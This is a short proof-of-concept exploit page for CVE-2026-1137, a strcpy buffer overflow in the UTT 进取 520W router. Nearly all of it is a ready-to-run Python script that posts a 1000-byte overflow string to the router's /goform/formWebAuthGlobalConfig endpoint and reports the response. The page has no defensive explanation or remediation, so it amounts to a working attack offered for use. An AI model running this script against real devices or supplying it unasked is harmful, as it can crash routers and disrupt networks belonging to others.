CVE-2026-1137: UTT 进取 520W路由器strcpy缓冲区溢出漏洞

import requests # CVE-2026-1137 PoC - Buffer Overflow in UTT 进取 520W # Target: UTT 进取 520W router /goform/formWebAuthGlobalConfig target_ip = "192.168.1.1" # Router IP address target_port = 80 # Construct malicious payload with excessive length to trigger overflow # The strcpy function in /goform/formWebAuthGlobalConfig does not check buffer boundaries payload = { 'webAuthGlobalConfig': 'A' * 1000, # Overflow payload } url = f"http://{target_ip}:{target_port}/goform/formWebAuthGlobalConfig" try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")